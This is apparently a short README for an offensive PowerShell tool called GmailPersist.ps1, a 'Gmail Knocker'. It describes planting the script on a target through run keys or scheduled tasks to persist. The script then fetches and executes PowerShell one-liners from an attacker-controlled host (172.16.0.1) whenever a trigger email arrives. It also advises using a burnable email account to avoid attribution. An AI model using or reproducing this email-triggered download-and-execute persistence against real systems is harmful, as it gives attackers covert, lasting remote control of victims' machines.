Gmail Knocker inspired by @enigma0x3's OutlookPersistence script
[!] Needs to be placed on target to persist i.e. (registry, run key, schtask, etc..)
[!] The script includes username and password for the email so ensure a burnable email is used
[!] The script doesn't delete emails because it is only getting the feed ,so after every call-in it will execute the URL until the email is deleted.
http://172.16.0.1/powershell-oneliner.txt ``` PS> ./GmailPersist.ps1 ```
Now send an email with the following information:
- FROM: (ATTACKER EMAIL)
- TO: (GMAIL ACCOUNT)
- SUBJECT: (Trigger Word)
- BODY:
http://172.16.0.1/powershell.exe-oneliner.txt